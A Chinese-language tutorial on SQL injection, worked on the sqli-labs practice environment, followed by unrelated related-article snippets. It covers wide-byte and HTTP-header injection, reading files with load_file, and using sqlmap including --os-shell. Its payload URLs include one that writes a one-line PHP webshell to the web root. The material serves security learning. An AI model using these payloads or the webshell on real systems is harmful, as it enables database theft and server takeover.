SQL注入漏洞 其他注入
文章目录
- 宽字节注入
 - 案例
 
- HTTP头部注入
 - Cookie注入
 - base64
 - User-Agent注入
 - Referer 注入
 
- SQL注入读写文件
 - 条件
 - 1.是否拥有读写权限
 - 2.文件路径
 - 3.secure_file_priv
 
- 读取文件
 - 写入文件
 
- SQLMap
 - 安装sqlmap
 - kail 源安装
 - 仓库克隆
 
- 参数简介
 - 快速入门;SQLmap(常规)使用步骤
 - POST注入方法
 - GetShell
 
- SQL 注⼊漏洞防御
 
宽字节注入
宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
从而逃过转义限制
案例
在sqli-labs中less-32关中就有体现
 进入关卡
 
 寻找注入点
 
 
 发现变化进行单引号闭合发现被转义
 
 在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能
 
 出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+
 
 http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+
 
HTTP头部注入
Cookie注入
对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点
 
 发现报错写入报错注入语句用#号闭合
 
 如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合
base64
注入的参数需要进行base64 编码
 在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码
 
 将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入
 
 通过admin " order by 3 # 语句发现他的列数为3
 
 使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #
 
User-Agent注入
修改http头文件里的user-agent字段
User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
 在
 sqli-labs18关有体现
 登录后我们可以看到浏览器指纹信息尝试在里面sql注入
 进行报错注入

Referer 注入
在Referer 字段中注入sql语句
Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
 在sqli-labs-19中就有体现
 
 我们在头文件里进行注入找到’ and '1进行闭合插入
 
 加入sql语句
 
SQL注入读写文件
条件
1.是否拥有读写权限
想要进行文件读写需要检测用户是否拥有文件权限
 ?id=2 and 1=2 union select 1,user(),3 #
 
 得到当前登录的用户名进行权限查询
 ?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #
 
2.文件路径
读写时文件必须使用绝对路径
3.secure_file_priv
mySQL 数据库有关于文件读写的安全选项 secure_file_priv。
secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
 在数据库中也可以查看
 show global variables like '%secure_file_priv%';
 
| 参数 | 含义 | 
|---|---|
| secure_file_priv=NULL | 限制 mysqld 不允许导入导出操作。 | 
| secure_file_priv=‘c:/ajest/’ | 限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。 | 
| secure_file_priv= | 不对 mysqld 的导入导出操作做限制。 | 
本案例为空
读取文件
使用load_file函数进行文件读取
 http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#
 
 可以看到读取到了文件
写入文件
使用into outfile函数
 http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
 
 文件上传成功
 
SQLMap
SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。
安装sqlmap
kail 源安装
sudo apt install sqlmap
 
仓库克隆
git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull   #更新
 
参数简介
| 参数 | 含义 | 
|---|---|
| -u | 检测注入点 | 
| –dbs | 列出所有的库名 | 
| –current-user | 当前连接数据库用户的名字 | 
| –current-db | 当前数据库的名字 | 
| -D “cms” | 指定目标数据库为 cms | 
| –tables | 列出数据库中所有的表名 | 
| -T “cms_users” | 指定目标表名为 cms_users | 
| –columns | 列出所有的字段名 | 
| -C ‘username,password’ | 指定目标字段 | 
| –dump | 列出字段内容 | 
| -r | 从文件中读取HTTP 请求 | 
| –os-shell | 在特定情况下,可以直接获得目标系统 Shell | 
| –level 3 | 设置 sqlmap 检测等级 3 | 
| –cookie=“username=admin” | 携带 Cookie 信息进行注入 | 
| -g | 利用 google 搜索引擎自动搜索注入点 | 
| –batch | 使用默认选项 | 
| –random-agent | 使用随机 User-Agent 信息 | 
| -v 3 | 显示 payload | 
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
 2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
 4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
 5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
POST注入方法
将遇到post请求在bp进行抓包将请求头文件放入一个文件里
 使用
sqlmap -r 文件名
 
就可以跑post请求了
GetShell
-  
受到 secure_file_priv 选项的限制;
 -  
填写路径时要写目标系统 Web 根目录的绝对路径
 -  
目录权限
启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell

可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹

 
SQL 注⼊漏洞防御
-  
避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;
 -  
对进入 SQL 语句的参数进行足够过滤。
 -  
部署安全设备,如 WAF。定制武器库
 
利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。
相关文章:
SQL注入漏洞 其他注入
文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门;SQLmap(常规…...
Java自学第2课:Java语言基础知识要点
1 Java主类结构 任务:创建新项目名为item,包名为number,类名为first。 1.1 包声明 不指定包时,默认就是工程名,指定后,类文件可以分类了,是这意思吧。包就大概等于一个文件夹。而且在类文件中…...
flink状态和检查点
检查点和状态后端的区别 检查点 就是某个时间点下的所有算子的状态快照。这个时间点就是等所有任务将“同一个数据”处理完毕的时候。 状态后端:是一个管理状态的组件,还负责将本地状态(检查点)持久化到远程文件存储系统中。 分…...
数据仓库工具箱-零售业务
文章目录 一、维度模型设计的4步过程1.1 第一步:选择业务过程1.2 第二步:声明粒度1.3 第三步:确定维度1.4 第四步:确定事实 二、零售业务案例研究2.1 第一步:选择业务过程2.2 第二步:声明粒度2.3 第三步&am…...
网络工程实验记录
网络工程 show ip route show running-config 第一周 相同设备使用交叉线,不同设备之间使用直通线 R1能ping通10.1.1.1 R2能ping通所有的 R3能ping通172.16.1.1 即路由器只能到达自身线连接出去的,另一端就连接不了了。 此时给R1分配静态路由 R…...
Danswer 接入 Llama 2 模型 | 免费在 Google Colab 上托管 Llama 2 API
一、前言 前面在介绍本地部署免费开源的知识库方案时,已经简单介绍过 Danswer《Danswer 快速指南:不到15分钟打造您的企业级开源知识问答系统》,它支持即插即用不同的 LLM 模型,可以很方便的将本地知识文档通过不同的连接器接入到…...
react:路由
官方文档:https://reactrouter.com/en/main/start/overview#pending-navigation-ui 一:简单版本 先 npm i react-router-dom main.ts中内容替换为 import ReactDOM from react-dom/client import App from ./App.tsx import ./index.css import {creat…...
【AI工具】手把手带你使用Gradio分享你的模型
手把手带你使用Gradio分享你的模型 1. 快速入门2. 基本参数|支持的接口2.1 Interface类以及基础模块2.2 组件属性2.3 多输入输出组件2,4 图像组件2.5 Chatbots2.6 动态界面接口2.7 Blocks:更具灵活性和调控性2.7.1 Blocks入门2.7.2 更复杂的Blocks3. 分享自定义采样训练参考资…...
海洋专用cmocean颜色包_共22种--全平台可用
海洋专用cmocean颜色包_共22种–全平台可用 往期推荐: Python语言_matplotlib包_共80种–全平台可用 Python语言_single_color_共140种–全平台可用 R语言_RColorBrewer包–全平台可用 R语言gplots包的颜色索引表–全平台可用 R语言中的自带的调色板–五种–全平台…...
uni-app多端开发
uni-app 多端开发 一、命令创建uni-app 项目二、在微信小程序后台找到 appId 填写 appId三、运行项目四、使用 uni-ui4-1、下载4-2、自动导入4-3、ts项目下载类型校验 (uni-ui 组件库)4-3-1、下载4-3-2、配置 五、持久化 pinia六、数据请求封装七、获取组…...
Linux中固定ip端口和修改ip地址
一,更改虚拟网络编辑器 1,首先启动VMware,选择自己要更改ip或固定ip的虚拟机,并找到虚拟网络配编辑器,点击进入 2,进入之后需要点击右下角获取管理员权限后才能修改,有管理员权限之后图片如下 …...
csdn初始模板【自用】
这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…...
2311rust无畏并发.
原文 Rust无畏并发 Rust是为了解决两个麻烦问题: 1,如何安全系统编程 2,如何无畏并发 最初,这些问题似乎是无关的,但令惊讶的是,方法竟然是相同的:使Rust安全的相同工具也可帮助解决并发问题. 内存安全和并发错误,一般认为是代码在不应访问数据时访问数据.Rust依靠所有权为…...
阿里云中的云服务器的ubuntu中的vim没有显示行号
没有行号: 在终端输入命令: vim ~/.vimrc set nu...
Golang 在 Mac、Linux、Windows 下如何交叉编译
Golang 支持交叉编译,在一个平台上生成另一个平台的可执行程序。 GOOS:目标平台的操作系统(darwin、freebsd、linux、windows) GOARCH:目标平台的体系架构(386、amd64、arm) 具体组合…...
如何写好一篇学术论文
目录 前言 1.标题和摘要 1.1标题 1.2摘要及关键词 1.2.1摘要 1.2.2关键词 2.正文 2.1引言 2.2问题建模 2.3研究方法及分析 2.4仿真(伪代码) 2.5实验结果及分析 2.6 总结 2.7延深 2.7.1图片处理 2.7.2审稿回复 2.7.3如何避免拒稿 2.7.4写…...
kubernetes资源监控
目录 一、资源限制 1、limitrange 2、ResourceQuota 二、metrics-server 三、图形化监控和代码行监控 1、dashboard 2、k9s 四、hpa 一、资源限制 Kubernetes采用request和limit两种限制类型来对资源进行分配。request(资源需求):即运行Pod的节点必须满足运…...
Bitget Wallet:使用 Base 链购买 ETH 的简明教程
Base 链是一种 Layer 2(L2)公链,它可以为用户提供以太坊(ETH)代币,而 Bitget Wallet 是一款多功能加密货币钱包,支持 Base 链以及其他主要区块链。...
PostgreSQL简介及安装步骤
PostgreSQL简介 PostgreSQL是一款开源的关系型数据库管理系统,具有强大的扩展性、高度的可定制性和可靠的稳定性,因此在企业级应用和开发领域中得到了广泛的应用。本文将介绍PostgreSQL的基本概念以及在各种操作系统上的安装步骤。 安装步骤 1. Window…...
《安富莱嵌入式周报》第326期:航空航天级CANopen协议栈,开源USB PD电源和功耗分析,开源EtherCAT伺服驱动板,时序绘制软件,现代机器人设计
周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 更新一期视频教程: BSP视频教程第28期:CANopen协议栈专题,CANopen主从机组网实战&a…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...
C++初阶-list的底层
目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...
【WebSocket】SpringBoot项目中使用WebSocket
1. 导入坐标 如果springboot父工程没有加入websocket的起步依赖,添加它的坐标的时候需要带上版本号。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId> </dep…...
React从基础入门到高级实战:React 实战项目 - 项目五:微前端与模块化架构
React 实战项目:微前端与模块化架构 欢迎来到 React 开发教程专栏 的第 30 篇!在前 29 篇文章中,我们从 React 的基础概念逐步深入到高级技巧,涵盖了组件设计、状态管理、路由配置、性能优化和企业级应用等核心内容。这一次&…...
